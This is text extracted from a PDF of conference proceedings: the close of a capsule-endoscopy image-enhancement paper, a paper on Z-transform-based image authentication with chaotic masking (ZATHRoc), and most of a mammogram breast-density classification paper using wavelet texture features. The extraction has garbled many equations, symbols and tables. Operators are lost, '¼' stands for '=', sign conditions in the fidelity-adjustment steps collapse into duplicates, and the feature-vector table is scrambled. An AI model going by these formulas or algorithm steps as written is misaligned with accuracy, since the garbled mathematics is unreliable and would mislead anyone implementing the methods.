EI c ðx; yÞ ¼ Rc ðx; yÞ Lm ðx; yÞ: ð3Þ
3 Methodology
The representation of the simulation steps is mentioned in Fig. 1.

The methodology involves in converting the considered image into YCbCr
format from which is subjected to BPF. The luminance information of the image is
then extracted and adaptive illumination adjustment is performed. After this step,
the color restoration is performed to restore the color of the filtered image.
Fig. 2 stage by stage output images as a input, b luminance, c background, and d output image
4 Results
The simulation initially considers standard images which are subject to the simu-
lation steps mentioned in Fig. 1. The corresponding images at every stage are given
as shown in Fig. 2a through Fig. 2d.
In the next case, the input image is WBI. The corresponding output images at
every stage are given as shown in Fig. 3a–d.
Similarly, the technique is then applied to NBI and the corresponding images are
given as shown in Fig. 4a–d.
Some statistical analyses of the images considered for simulation are presented
in Table 1.
Fig. 3 WB images at each stage as a input, b luminance, c background, and d output image
Fig. 4 NB images at each stage as a input, b luminance, c background, and d output image
Table 1 Mean ratio of images

Image Mean Ratio (b/a)
Input image (a) Enhanced output image (b)
Standard 58.3894 107.5218 1.8415
WBI 105.15 142.41 1.35
NBI 51.9485 93.7778 1.80
5 Conclusion
The BPF is applied to the WB and NB images. The algorithm is incorporated for
the non-uniformly illuminated images. Due to the proposed methodology, the NB
images have shown similar features as that of the standard color images and perhaps
more better than WB images.
References
1. Tan, Y.K., Fielding, J.W.L.: Early diagnosis of early gastric cancer. Eur. J. Gastroenterol.
Hepatol. 18, 821–829 (2006)
2. Lewis, B.S.: Small intestinal bleeding. Gastroenterol. Clin. North Am. 29, 67–95 (2000)
3. Zuckerman, G.R., Prakash, C., Askin, M.P., Lewis, B.S.: AGA technical review on the
evaluation and management of occult and obscure gastrointes tinal bleeding. Gastroenterology
118, 201–221 (2000)
4. Howarth, D.M., Tang, K., Lees, W.: The clinical utility of nuclear medicine imaging for the
detection of occult gastrointestinal haemorrhage. Nucl. Med. Commun. 23, 591–594 (2002)
5. Eliakim, R., Suissa, A., Yassin, K., Katz, D., Fischer, D.: Wireless capsule video endoscopy
compared to barium follow-through and computerised to mography in patients with suspected
Crohn’s disease final report. Dig. Liver Dis. 36, 519–522 (2004)
6. Iddan, G., Meron, G., Glukhovsky, A., Swain, P.: Wireless capsule en doscopy. Nature 405,
417–418 (2000)
7. Wang, C., Ye, Z.: Brightness preserving histogram equalization with maximum entropy: a
variational perspective. IEEE Trans. Consum. Electron. 51(4), 1326–1334 (2005)
Z Transformation-Based High Payload
Authentication Technique with Higher
Region of Convergence Value (ZATHRoc)
J.K. Mandal and Suman Mahapatra
Abstract In this paper, a Z transformation-based authentication technique has been

proposed with higher Region of Convergence (ROC) value. Sequentially, five bits
from the authenticating mask in row major order are considered and embedded into
composite real as well as imaginary components of second, third, and fourth
transform domain coefficients keeping the low frequency component unaltered
which is further utilized for adjustment. The proposed method provides a good
secure scheme in terms of robustness and sensitivity of higher ROC of Z transform
domain and also in terms of the inclusion of random chaotic map. Comparisons
have been made with existing methods such as AINCDCT (2011), Luo’s Method
(2011), SCDFT (2008), and AHRocZ (2015) which exhibit a better performance
with proper visual quality.
Keywords Generalized Forward Z Transformation (GFZT) Generalized

Inverse Z Transformation (GIZT) Region of Convergence (ROC) Mean Square

Error (MSE) Peak Signal to Noise Ratio (PSNR) Image Fidelity (IF)
1 Introduction
In the present digital world, sharing large amount of multimedia contents over the
internet creates a concern among the scientists and researchers regarding the
security of the transmitted data due to the remarkable explosion of digital
J.K. Mandal (&) S. Mahapatra

Department of Computer Science and Engineering, University of Kalyani,
Kalyani, Nadia, West Bengal, India
S. Mahapatra
e-mail: sumancse19@gmail.com

530 J.K. Mandal and S. Mahapatra
technology. The fact behind the authentication scheme is that a very small alteration
to the embedded image will destroy the authenticating bits. If signal/image is
converted from spatial domain to frequency domain and embedding is done in
transform domain then it is not easy to decode the authenticating bits.
In this paper, an authentication scheme has been proposed in Z transform
domain where an image is converted from spatial domain to Z domain using a 2 2
mask in row major order to obtain corresponding frequency components which
generates 2 2 real and imaginary matrices into which bitwise embedding is done.
The resultant frequency components after fidelity adjustment and fraction handling
are converted back to spatial domain to obtain the embedded image. Several
parametric tests such as MSE, PSNR, and IF are performed over the cover and the
embedded images.
The rest of the paper has been organized as follows. The proposed technique is
given in Sect. 2. Discussions on various results are given in Sect. 3. Conclusion and
future scope are drawn in Sect. 4. References are given at the end.
2 The Technique
Z transformation is an inseparable mathematical tool in Signal Processing.

Z transformation that basically converts a discrete time domain signal into corre-
sponding complex frequency domain representation. Mathematically, the Region of
Convergence (ROC) can be defined as the set of all complex plane points for which
the summation of Z transformation applied over a time domain signal converges,
i.e., the set of all complex plane points z such that the Eq. (1) holds.

X 1
p
y½pz \1: ð1Þ
p¼1
The Forward Z Transformation equation is reduced to Generalized Forward Z

Transformation (GFZT) which is given by Eq. (2).
X
1
zðrejb Þ ¼ SðxÞ:r x :ejbx ; ð2Þ
x¼0
where SðxÞ indicates the spatial domain matrix elements, r denotes the magnitude of
z or the ROC of z, j is the imaginary unit i.e., the square root of (−1), b is the
Z Transformation-Based High Payload Authentication Technique … 531
angular value in radians, and x denotes the position indicator. The proposed tech-
nique considered b ¼ 0; P2 ; P; 3P
2 and x ¼ 0; 1; 2; 3:.
Again, the Generalized Inverse Z Transformation (GIZT) with the ROC of z as
r ¼ 2 is given by the following Eq. (3).
rx X1
SðxÞ ¼ : zðxÞ:r x :ejbx ; ð3Þ
N x¼0
where N is the total number of frequency domain components in the spatial domain
mask under consideration. For a 2 2 mask, frequency domain components of
same dimension are generated and therefore the value of N is 4.
2.1 Mask Generation
Pixels of authenticating image are converted to equivalent binary values in row

major order in a sliding window manner. On binarizing the authenticating image of
size 256 160, equivalent binary authenticating mask of size 256 1280 is
obtained. A chaotic mask of same dimension is generated using the Skew Tent map
[1] with the initial conditions and system parameter (a) as keys. The authenticating
and chaotic mask are bitwise XORed to generate the embedding mask of size
256 1280.
2.2 Embedding Procedure
In this technique, 512 512 grayscale image is considered as the input

carrier/cover image. The pixel components of the cover image may pass through a
pre-adjustment stage, if necessary. Forward Z transformation is applied on the 2 2
mask from the cover image in row major order. 5 bits from the embedding mask is
embedded in corresponding Z domain components of each 2 2 mask. The
embedding procedure is given in algorithm 1.
Algorithm 1.
Input: A cover image , say ICov of size 512 × 512 , embedding mask (E) of size
256 × 1280.
Output: An embedded image of size 512 × 512.
Method: The Generalized Forward Z Transformation (GFZT) converts ICov
from spatial domain to transform domain. The corresponding frequency do-
main components are utilized to fabricate embedding mask E.
1: The cover image pixel components may pass through a pre-adjustment stage
(if necessary) to attain the pixel values positive and less than or equal to
255 even after the embedding process so as to maintain the grayscale image
features.
If p ≤ 8, then p = (p + 8)
If p ≥ 247, then p = (p − 8)
2: Cover image mask of size 2 × 2 from pre-adjusted image matrix is considered
in row major order and GFZT is applied on each 2 × 2 mask to obtain the
corresponding Z domain coefficients.
3: Sequencially 5 bits from the embedding mask are taken and consequently,
the LSB of the imaginary integer part of the HF component is replaced by
the first 1 bit from the mask and also for proper computation the same bit
is embedded in the LSB of the imaginary part of the complex conjugate of
the HF component. The next 2 bits replace the LSB and (LSB + 1)th bit
of real part of HF and complex conjugate of HF component. The LSB and
(LSB + 1)th bit of the real integer part of the VF component are replaced by
the rest 2 bits.
4: Depending upon the deviation of pixel values, a Fidelity Adjustment (FA) is
applied (if needed).
5: GIZT is applied on the embedded Z domain 2 × 2 mask to regenerate the
mask in spatial domain.
6: To avoid the loss of precision of frequency coefficients and for proper decod-
ing, a fraction handling is performed on the embedded spatial domain 2 × 2
mask at the source end.
7: Steps 2 to 6 are repeated over the whole cover image until the last 2 × 2 mask
is processed.
2.3 Fidelity Adjustment (FA)
A bit-level adjustment of fidelity is an additional step which minimizes the devi-

ation in image pixel without affecting the bits embedded. Let us consider CiOld and
CiNew as the original pixel value and embedded pixel value of the real integer part of
VF and HF component, respectively. The detailed steps of FA are given as follows.
1: The deviation Di ¼ ðCiNew CiOld Þ is computed.

2: If Di ¼ 3, then from ðLSB þ 2Þ position towards the MSB the 1st appearance of
bit value 1 is checked and it is flipped to 0. The bits from that bit position
toward the LSB except LSB and ðLSB þ 1Þ are flipped to 1.
3: If Di ¼ 3, then from ðLSB þ 2Þ position towards the MSB the 1st appearance
of bit value 0 is checked and it is flipped to 1. All the bits from that bit position
towards the LSB except LSB and ðLSB þ 1Þ are flipped to 0.
4: If jDi j\3, then no operation is needed.
In all the above cases, the LSB and ðLSB þ 1Þ bit value must remain unaltered
for proper decoding at the receiver end.
2.4 Fraction Handling
Fraction Handling is a necessary step to avoid loss of precision after converting the
modified Z domain components into spatial domain. The detailed steps of fraction
handling are provided as follows.
1: Let the fractional part of all 4 elements from each 2 2 mask after embedding
and FA be Frð0;0Þ , Frð0;1Þ , Frð1;0Þ and Frð1;1Þ , respectively.
2: Frð0;0Þ , Frð0;1Þ , Frð1;0Þ , and Frð1;1Þ are added to get FrTotal .
If FrTotal 1, then only the fraction part is taken i.e., FrTotal ¼ ðFrTotal 1Þ.
3: FracTotal is multiplied by 4 to obtain FrComp which is used for adjustment.
FrComp ¼ ðFrTotal 4Þ
4: The ð1; 1Þth element of the 2 2 original cover image mask and embedded
2 2 mask are compared. Let the two elements be denoted by IOld ð1; 1Þ and
INew ð1; 1Þ, respectively.
If INew ð1; 1Þ IOld ð1; 1Þ, then FrComp is added to the real part of LF component
of the corresponding 2 2 Z domain mask. Otherwise, Frcomp is subtracted
from the real part of the LF component.
5: The modified transform domain mask is subjected under GIZT to regenerate
modified spatial domain components.
6: If Frð0;0Þ [ 0, then the steps 2–5 are repeated once, Otherwise stop.
2.5 Decoding
The embedded image is received at the receiver end. The GFZT is applied on each
2 2 mask of the embedded image in sliding window based on row major order
and the embedded bits are sequentially extracted. The detailed steps are given in
algorithm 2.
Algorithm 2.
Input: The embedded image , say IEmb of size 512 × 512.
Output: The extracted mask of size 256 × 1280.
Method: GFZT is applied on the embedded image to extract the embedding
mask by converting the image from spatial domain to Z transform domain.
From the extracted bits, the embedding mask is regenerated. The detailed
extraction procedure is as follows:
1: A 2 × 2 mask from IEmb is taken in row major order and GFZT is applied
on the mask to generate corresponding frequency components.
2: One bit from either the LSB of the integer part of the imaginary HF com-
ponent or the LSB of the integer imaginary part of the complex conjugate
of the HF component is extracted. Next 2 bits are extracted from LSB and
(LSB+1)th bit of the real integer part of the HF component or the complex
conjugate of HF component. Consequently 2 bits are extracted from the LSB
and (LSB+1)th bit of the real integer part of the VF component.
3: Successively all embedded bits are extracted from each 2 × 2 mask and steps
2 to 3 are repeated until the last 2 × 2 mask is processed.
2.6 Authentication
As XOR is a complete reversible operation, so the extracted mask is bitwise XORed

with the chaotic mask generated at the receiver end with the same keys as used
during the formation of embedding mask at the sender end. For each consecutive 8
bits from the authenticating mask (generated from extracted mask) in row major
order, the decimal equivalent is obtained as a pixel component. The extracted image
is compared with the original hidden image for authentication.
2.7 Illustrative Example
To visualize the proposed technique, an illustrative example is considered.

The cover image 2 2 mask is given in Fig. 1a. Forward Z Transformation is
applied on the mask to generate the corresponding Z domain 2 2 real components
Fig. 1b and 2 2 imaginary components Fig. 1c. Let the 5 bits to be embedded in
the original 2 2 mask be 00000. On embedding the bits the embedded real 2 2
components Fig. 1d and embedded imaginary components Fig. 1e are generated.
Inverse Z Transform is applied on the embedded Z domain components, the
embedded 2 2 mask Fig. 1f is obtained. After fraction handling, the frequency
domain components are obtained as given in Fig. 1g, h, respectively. GIZT is
applied on the frequency domain components to get the fraction-free embedded
mask.
Fig. 1 Conversion from original 2 2 mask to embedded 2 2 mask using ZATHRoc
To formulate the results, an extensive analysis has been made on benchmark

(PGM) [2] images of size 512 512. The original cover images Jet, Clock and
Elaine are some of the images given in figure Fig. 2a–c, respectively. The
authenticating Gold Coin image of size 256 160 is given in Fig. 2d. The
embedded images are shown in Fig. 2e, f, and g, respectively, with initial param-
eters x0 ¼ 0:1996892, y0 ¼ 0:738567389, and system parameter a ¼ 0:49989
acting as key values for chaotic map generation. The MSE, PSNR, and IF values
obtained for various images in ZATHRoc is given in Table 1.
From Table 1, it is seen that the average MSE value 6:73665589 is low and
consequently the average PSNR value 39:84688324 is considerably good.
Moreover, the minimum PSNR value is 39:72094253 which is very much accepted
for image authentication. The average IF value (0:99966040) with a close proximity
to 1 ensures the imperceptibility of the embedded image through visual perception.
A tabular analysis has been provided in Table 2 based on the average PSNR
values in different existing methods. In AINCDCT (2011) [3], for a payload of 0.5
bpB then the average PSNR value is 45.61 dB whereas if the payload is 1 bpB the
PSNR falls down to 32.53. In Luo’s Method (2011) [4], for the payload of 0.3 bpB,
the average PSNR value is 41.16. Again, in SCDFT (2008) [5], the average PSNR
value is 30.10 for the payload of 0.12 bpB. In AHRocZ (2015) [6], for the payload of
0.75 bpB, the average PSNR is 41.05 dB. The proposed ZATHRoc gives a con-
siderably good average PSNR value of 39.85 for a high payload of 1.25 bpB.
Fig. 2 Visual effect of embedding authenticating information bits in ZATHRoc. a Cover image
‘Jet.’, b Cover image ‘Clock.’, c Cover image ‘Elaine.’, d Authenticating image ‘Goldcoin’,
e Embedded ‘Jet’, f Embedded ‘Clock’, g Embedded ‘Elaine’
Table 1 MSE, PSNR and IF Image MSE PSNR (dB) IF

values obtained for several
PGM images using Baboon 6.79280478 39.81031231 0.99963117
ZATHRoc Boat 6.76641464 39.82721753 0.99964082
Clock 6.49422836 40.00552805 0.99982738
Couple 6.74592972 39.84038549 0.99958155
Elaine 6.73430634 39.84787493 0.99967213
Space 6.77088244 39.82438808 0.99959987
Jet 6.66859436 39.89046060 0.99978489
Map 6.93403625 39.72094253 0.99979560
Truck 6.73708725 39.84608189 0.99944217
Tank 6.72227478 39.85564100 0.99962837
Average 6.73665589 39.84688324 0.99966040
Table 2 Comparison of Method PSNR (dB)

PSNR(dB) in ZATHRoc with
existing techniques AINCDCT (0.5 bpB) 45.61
AINCDCT (1 bpB) 32.53
Luo’s Method (0.3 bpB) 41.16
SCDFT (0.12 bpB) 30.10
AHRocZ (0.75 bpB) 41.05
ZATHRoc (1.25 bpB) 39.85
4 Conclusion
ZATHRoc is a novel authentication technique where image authentication through

Z transformation domain with higher Region of Convergence (ROC) value (r ¼ 2)
has been proposed. In each 2 2 mask 5 bits are embedded so the payload for
embedding is 1.25 bpB on an average. The scheme provides a better security in
terms of sensitivity and robustness of higher magnitude of Z transform domain with
the inclusion of random chaotic map. As per comparison with other existing
methods, tabular representation ensures that the ZATHRoc gives considerably
better performance than AINCDCT [3], Luo’s Method [4], SCDFT [5], AHRocZ
[6] in terms payload of the embedded bitstream.
Acknowledgments The authors express a sincere gratitude towards the Dept. of CSE, University
of Kalyani where all the computational resources required for the work are used and the PURSE
scheme of DST, Govt. of India.
References
1. Pareek, N.K., Patidar, V., Sud, K.K.: A random bit generator using chaotic maps. Int. J. Netw.
Sec. 10(1), 32–38 (2010)
2. Allan, G.W.: The USC-SIPI Image Database: Version 5, Original release, October, 1997, Signal
and Image Processing Institute, University of Southern California, Department of Electrical
Engineering. http://sipi.usc.edu/database/. Accessed 05 March 2015
3. Sengupta, M., Mandal, J.K.: Authentication of images through non con-voluted DCT
(AINCDCT). In: First International Conference on Communication and Industrial
Application (ICCIA 2011), IEEE, pp. 1–4. doi:10.1109/ICCIndA.2011.6146672 26–28 Dec
2011
4. Luo, H., Yu, F.-X., et al.: Reversible data hiding based on block median preservation. Inf. Sci.
181, 308–328 (2011). doi:10.1016/j.ins.2010.09.022
5. Tsui, T.T., Zhang, X.P., Androutsos, D.: Color image watermarking using multidimensional
fourier transformation. IEEE Trans. Info. Forensics Security. 3(1), 16–28 (2008)
6. Mahapatra, S., Mandal, J.K., Sengupta, M.: Authentication in higher region of convergence of Z
transform domain (AHRocZ). Adv. Intell. Syst. Comput. 340, 787–795 (2015)
Breast Tissue Density Classification Using
Wavelet-Based Texture Descriptors
Jitendra Virmani and Kriti
Abstract It has been well established that the risk of breast cancer development is
associated with increased breast density. Therefore, characterization of breast tissue
density is clinically significant. In the present work, the potential of various wavelet
energy descriptors (derived from ten different compact support wavelet filters) has
been investigated for breast tissue density classification using kNN, SVM, and PNN
classifiers. The work has been carried out on the MIAS dataset. The highest clas-
sification accuracy of 96.2 % is achieved using the kNN classifier Haar wavelet
energy descriptors.

Keywords Breast density classification Wavelet texture descriptors K-nearest

neighbors Probabilistic neural network Support vector machine
1 Introduction
Breast cancer is the malignant tumor in the breast [1, 2] and is the most common
form of cancer being diagnosed nowadays. Various studies in the literature have
indicated a strong correlation between breast cancer risk and breast density. As
breast density increases the sensitivity for detecting breast cancer decreases. The
typical cases fatty and dense mammographic tissue are easily identifiable by the
radiologists as fatty being radiologically translucent appears dark while the dense
tissues appear bright, however, the appearance of atypical cases of fatty and dense
tissues are highly overlapping so clear discrimination cannot be made for atypical
J. Virmani (&)
Biomedical Research Lab, Department of Electrical and Instrumentation Engineering,
Thapar University, Patiala, Punjab, India
e-mail: jitendra.virmani@gmail.com
Kriti
Department of Electronics and Communication Engineering, Jaypee University
of Information Technology, Waknaghat, Solan 173215, Himachal Pradesh, India
e-mail: kriti.23gm@gmail.com

540 J. Virmani and Kriti
Fig. 1 Sample mammographic images. a Typical fatty mammogram tissue ‘mdb168,’ b typical
dense mammogram tissue ‘mdb046,’ c atypical fatty mammogram tissue ‘mdb132,’ d typical
dense mammogram tissue ‘mdb030’
cases by the subjective analysis. The sample images depicting the typical and
atypical cases of fatty and dense mammographic images are shown in Fig. 1.
The brief description of related studies in literature is depicted in Table 1.
From Table 1, it can be seen that most of the related studies [3–11, 13–17, 19,
21] have been carried out on the segmented breast tissue (SBT) after removing the
pectoral muscle and the background. Only a few studies [12, 18, 20, 22] have been
carried out on the segmented ROI, considering the fact that the density information
is maximum at the center of the breast tissue [22, 23].
In the present work, a CAD system design for differential diagnosis between
fatty and dense breast tissue is proposed using wavelet energy descriptors.
2 Methodologies
2.1 Dataset Description
The present work has been carried out on the MIAS database [24]. The database
contains 322 mammographic images (106 fatty, 104 fatty-glandular and 112
dense-glandular) 1024 × 1024 pixels in size with 256 gray scale tones and a 96 dpi
horizontal and vertical resolution.
2.2 Region of Interest (ROI) Selection
After having conducted rigorous experiments, it has been asserted by [22, 23] that
the density information is maximum at the center of the breast, accordingly in the
present work, ROIs of size 200 × 200 pixels are manually extracted from each
mammogram from the center of the breast tissue as shown in Fig. 2.
Breast Tissue Density Classification … 541
Table 1 Brief summary of related work on breast tissue density classification

Investigators Dataset description
Database Classes ROI size Acc. (%)
Miller et al. [3] Collected by investigator 2 SBT 80.0
Karssemeijer [4] Nijmegen (SBMD) 4 SBT 65.0
Blot et al. [5] MIAS (SBMD) 3 SBT 63.0
Bovis et al. [6] DDSM (SBMD) 2 SBT 96.7
Wang et al. [7] Collected by investigator 4 SBT 71.0
Petroudi et al. [8] Oxford database (SBMD) 4 SBT 76.0
Oliver et al. [9] DDSM (SBMD) 4 SBT 47.0
Bosch et al. [10] MIAS (SBMD) 3 SBT 91.3
4 95.4
DDSM (SBMD) 4 SBT 84.7
Muhimmah et al. MIAS (SBMD) 3 SBT 77.5
[11]
Castella et al. [12] Collected by investigator 4 256 × 256 83.0
Oliver et al. [13] MIAS (SBMD) 4 SBT 86.0
DDSM (SBMD) 77.0
Subashini et al. MIAS (SBMD) 3 SBT 95.4
[14]
Tzikopoulos et al. MIAS (SBMD) 3 SBT 84.4
[15]
Vallez et al. [16] MIAS (SBMD) 4 SBT 89.0
Collected by investigator 80.0
Li et al. [17] MIAS (SBMD) 3 SBT 94.4
Mustra et al. [18] MIAS (SBMD) 3 512 × 384 81.4
KBD-FER (collected by 2 97.2
investigator)
He et al. [19] MIAS (SBMD) 4 SBT 85.0
Silva et al. [20] MIAS (SBMD) 3 300 × 300 77.1
Kutluk et al. [21] MIAS (SBMD) 3 SBT 90.0
Sharma et al. [22] MIAS (SBMD) 2 200 × 200 96.4
Note: SBMD: Standard benchmark database, SBT: Segmented breast tissue, Acc.: Accuracy
2.3 Proposed CAD System Design
The CAD systems are used by radiologist in the medical imaging as second opinion
tools for gaining confidence in their diagnosis [25, 26]. The block diagram for
proposed CAD system design is shown in Fig. 3. The CAD system consists of
feature extraction module and classification module.
Feature Extraction Module In the present work, the potential of various wavelet
energy descriptors (derived from ten different compact support wavelet filters) have
been investigated for breast tissue density classification. The compact support
Fig. 2 Sample mammographic image with ROI marked
Fig. 3 Block diagram of proposed CAD system
wavelet filters like Haar (db1), Daubechies (db4 and db6), Coiflets (coif1 and
coif2), Symlets (sym3 and sym5) and Biorthogonal (bior3.1, bior3.3 and bior4.4)
are considered for analysis [27, 28]. When an ROI image is decomposed up to 2nd
level using 2D-DWT, six orientation selective detail subimages and one approxi-
mate subimage are generated. From each subimage, normalized energy is calcu-
lated. The seven wavelet energy descriptors selected as texture feature vectors
(TFVs) are shown in Table 2.
Classification Module In the present work, kNN, SVM, and PNN classifiers are
used for the classification task. (a) kNN Classifier: The classification performance
of kNN classifier depends on the value of k. In the present work, the optimal value
of k is determined by performing repeated experiments for the values of
k f1; 2; . . .; 9; 10g. (b) SVM Classifier: In the present work SVM classifier is
implemented using LibSVM library [29] and the performance of the Gaussian
Radial Basis Function kernel is investigated. In the present work, 10-fold cross
validation
is carried out on the training
data for each combination of ðC; cÞ such
that, C 24 ; 23 . . .215 and c 212 ; 211 . . .24 . This grid search procedure in
parameter space gives the optimum values of C and c for which training accuracy is
maximum. (c) PNN Classifier: The performance of PNN classifier depends upon
the optimal choice of spread parameter (Sp) i.e., the kernel width parameter. In the
Table 2 Description of TFVs

TFV Wavelet energy descriptors in TFVs L
ðhÞ ðvÞ ðdÞ ðhÞ ðvÞ ðdÞ

TFV1 kA2 k2F kD2 k2F kD2 k2F kD2 k2F kD1 k2F kD1 k2F kD1 k2F 7
; ;
areaðA2 Þ areaðDð2hÞ Þ areaðDðvÞ ; ðdÞ ; ðhÞ ; ðv Þ ; ðdÞ
2
Þ areaðD2 Þ areaðD1 Þ areaðD1 Þ areaðD1 Þ
ðhÞ ðvÞ ðdÞ

TFV2 kD1 k2F kD1 k2F kD1 k2F 3
; ;
areaðD1ðhÞ Þ areaðDðvÞ1
Þ areaðD1 Þ
ðdÞ
ðhÞ ðvÞ ðdÞ ðhÞ ðvÞ ðdÞ

TFV3 kD2 k2F kD2 k2F kD2 k2F kD1 k2F kD1 k2F kD1 k2F 6
; ; ; ; ;
areaðDð2hÞ Þ areaðDðvÞ ðdÞ ðhÞ
2 Þ areaðD2 Þ areaðD1 Þ areaðD1 Þ areaðD1 Þ
ðvÞ ðdÞ
ðhÞ ðvÞ ðdÞ ðdÞ

TFV4 kD1 k2F kD1 k2F kD1 k2F kD2 k2F 4
; ; ðdÞ ;
areaðD1ðhÞ Þ areaðDðvÞ1 Þ areaðD1 Þ areaðD2 Þ
ðdÞ
ðhÞ ðvÞ ðdÞ

TFV5 kA2 k2F kD1 k2F kD1 k2F kD1 k2F 4
; ; ;
areaðA2 Þ areaðDð1hÞ Þ areaðDð1vÞ Þ areaðDðdÞ 1
Þ
ðhÞ ðvÞ ðdÞ

TFV6 kA2 k2F kD2 k2F kD2 k2F kD2 k2F 4
; ;
areaðA2 Þ areaðDð2hÞ Þ areaðDðvÞ ; ðdÞ
2
Þ areaðD2 Þ
ðhÞ ðvÞ ðdÞ

TFV7 kD2 k2F kD2 k2F kD2 k2F 3
; ;
areaðDð2hÞ Þ areaðDðvÞ2 Þ areaðD2 Þ
ðdÞ
Note: TFV: Texture feature vector, l: Length of TFV, A: Approximate subimage, D: Detail
subimage, h: Horizontal direction, v: Vertical direction, d: Diagonal direction, F: Frobenius norm.
Ai or Di i is the level of decomposition
present work, the optimal values used for Sp to design a PNN classifier are
determined by performing repeated experiments for values of Sp f1; 2; . . .9; 10g.
In all cases, to avoid any bias caused by the unbalanced feature values, the extracted
features are normalized in the range [0, 1] by using min-max normalization pro-
cedure before feeding them to the classification module. For a detailed description
of kNN, SVM, and PNN classifiers, the readers are directed to [30–32].
3 Results
Rigorous experiments were carried out to obtain classification performance for

breast tissue density classification with TFVs derived using the ten wavelet filters
with kNN, SVM, and PNN classifiers. The results are shown in Table 3. It is
observed that for all seven TFVs maximum classification accuracy is obtained using
the db1 (Haar) wavelet filter. It can also be seen that the highest accuracy of 96.2 %
is achieved with TFV1 using kNN classifier. The minimum accuracy of 66.4 % is
achieved for db1 and bior3.3 wavelet filters using the kNN and SVM classifiers,
respectively. It is also seen that an accuracy of 90.6 % is achieved with TFV3
consisting of energy descriptors derived from the detailed subimages of both 1st
and 2nd level of decomposition. Thus, it can be concluded that TFV1 containing
energy descriptors derived from approximate subimage and detailed subimages
provides better characterization of breast tissue than the TFV3 containing energy
descriptors derived using detailed subimages only.
Table 3 Classification performance using kNN, SVM, and PNN classifiers for the seven TFVs
TFV l Max. Acc. (%) Wavelet Min. Acc. (%) Wavelet filter
(classifier) filter (classifier)
TFV1 7 96.2 (kNN) db1 83.8 (PNN) db4, bior3.3
TFV2 3 84.4 (SVM) db1 66.4 (kNN, SVM)
db1, bior3.3
TFV3 6 90.6 (SVM) db1 73.2 (kNN) db6
TFV4 4 86.9 (SVM) db1 68.3 (SVM) bior3.1
TFV5 4 91.9 (kNN) db1 79.5 (PNN) db4, sym3
TFV6 4 94.4 (kNN) db1 83.8 (PNN) db4, sym3,
sym5
TFV7 3 88.8 (SVM) db1 70.1 (kNN) coif1
Note: l: Length of TFV, Max. Acc.: Maximum accuracy, Min. Acc.: Minimum accuracy
4 Conclusion
From the exhaustive experiments carried out in the present work, it can be con-
cluded that wavelet energy descriptors obtained from the approximate subband
image resulting from 2nd level of decomposition using db1 (Haar) wavelet filter
contain significant information for characterization of the breast tissue density. This
present work could be extended for three class breast tissue density classification
using wavelet-based texture descriptors.
References
1. Bhateja, V., Urooj, S., Misra, M., Pandey, A., Lay-Ekuakille, A.: A polynomial filtering model
for enhancement of mammogram lesions. IEEE International Symposium of Medical
Measurement and Applications Proceedings, pp. 97–100 (2013)
2. Jain, A., Singh, S., Bhateja, V.: A robust approach for denoising and enhancement of
mammographic images contaminated with high density impulse noise. Int. J. Convergence
Comput. 1, 38–49 (2013)
3. Miller, P., Astley, A.: Classification of breast tissue by texture analysis. Image Vis. Comput.
10, 277–282 (1992)
4. Karssemeijer, N.: Automated classification of parenchymal patterns in mammograms. Phys.
Med. Biol. 43, 365–378 (1998)
5. Blot, L., Zwiggelaar, R.: Background texture extraction for the classification of
mammographic parenchymal patterns. Conference on Medical Image Understanding and
Analysis, pp. 145–148. Birmingham (2001)
6. Bovis, K., Singh, S.: Classification of mammographic breast density using a combined
classifier paradigm. 4th International Workshop on Digital Mammography, pp. 1–4 (2002)
7. Wang, X.H., Good, W.F., Chapman, B.E., Chang, Y.H., Poller, W.R., Chang, T.S., Hardesty,
L.A.: Automated assessment of the composition of breast tissue revealed on
tissue-thickness-corrected mammography. Am. J. Roentgenol. 180, 257–262 (2003)
8. Petroudi, S., Kadir, T., Brady, M.: Automatic classification of mammographic parenchymal
patterns: a statistical approach. In: Proceedings of 25th Annual International Conference of
IEEE on Engineering in Medicine and Biology Society, pp. 798–801. IEEE Press, New York
(2003)
9. Oliver, A., Freixenet, J., Zwiggelaar, R.: Automatic classification of breast density. In:
Proceedings of IEEE International Conference on Image Processing (ICIP 2005), vol. 2,
pp. 1258–1261. IEEE Press, New York (2005)
10. Bosch, A., Munoz, X., Oliver, A., Marti, J.: Modeling and classifying breast tissue density in
mammograms. In: Proceedings of IEEE Computer Society Conference on Computer Vision
and Pattern Recognition, vol. 2, pp. 1552–1558. IEEE Press, New York (2006)
11. Muhimmah, I., Zwiggelaar, R.: Mammographic density classification using multiresolution
histogram information. In: Proceedings of 5th International IEEE Special Topic Conference on
Information Technology in Biomedicine (ITAB). IEEE Press, New York (2006)
12. Castella, C., Kinkel, K., Eckstein, M.P., Sottas, P.E., Verdun, F.R., Bochud, F.O.:
Semiautomatic mammographic parenchymal patterns classification using multiple statistical
features. Academic Radiol. 14, 1486–1499 (2007)
13. Oliver, A., Freixenet, J., Marti, R., Pont, J., Perez, E., Denton, E.R.E., Zwiggelaar, R.: A novel
breast tissue density classification methodology. IEEE Trans. Inf. Technol. Biomed. 12, 55–65
(2008)
14. Subashini, T.S., Ramalingam, V., Palanivel, S.: Automated assessment of breast tissue density
in digital mammograms. Comput. Vis. Image Underst. 114, 33–43 (2010)
15. Tzikopoulos, S.D., Mavroforakis, M.E., Georgiou, H.V., Dimitropoulos, N., Theodoridis, S.:
A fully automated scheme for mammographic segmentation and classification based on breast
density and asymmetry. Comput. Methods Programs Biomed. 102, 47–63 (2011)
16. Vallez, N., Bueno, G., Deni-Suarez, O., Seone, J.A., Dorado, J., Pazos, A.: A tree classifier for
automatic breast tissue classification based on BIRADS categories. In: Vitria, J., Sanches, J.
M., Hernandez, M. (eds.) Pattern Recognition and Image Analysis 2006. LNCS, vol. 6669,
pp. 580–587. Springer, Heidelberg (2011)
17. Li, J.B.: Mammographic image based breast tissue classification with Kernel self-optimized
fisher discriminant for breast cancer diagnosis. J. Med. Syst. 36, 2235–2244 (2012)
18. Mustra, M., Grgic, M., Delac, K.: Breast density classification using multiple feature selection.
Auotomatika. 53, 362–372 (2012)
19. He, W., Denton, E.R.E., Zwiggelaar, R.: Mammographic segmentation and risk classification
using a novel binary model based bayes classifier. In: Maidment, A.D., Bakic, P.R.,
Gavenonis, S. (eds.) Breast imaging 2012. LNCS, vol. 7361, pp. 40–47. Springer, Heidelberg
(2012)
20. Silva, W.R., Menotti, D.: Classification of mammograms by the breast composition. In: The
2012 International Conference on Image Processing, Computer Vision and Pattern
Recognition, pp. 1–6 (2012)
21. Kutluk, S., Gunsel, B.: Tissue density classification in mammographic images using local
features. In: Proceedings of 21st Signal Processing and Communications Applications
Conference, pp. 1–4. IEEE Press, New York (2013)
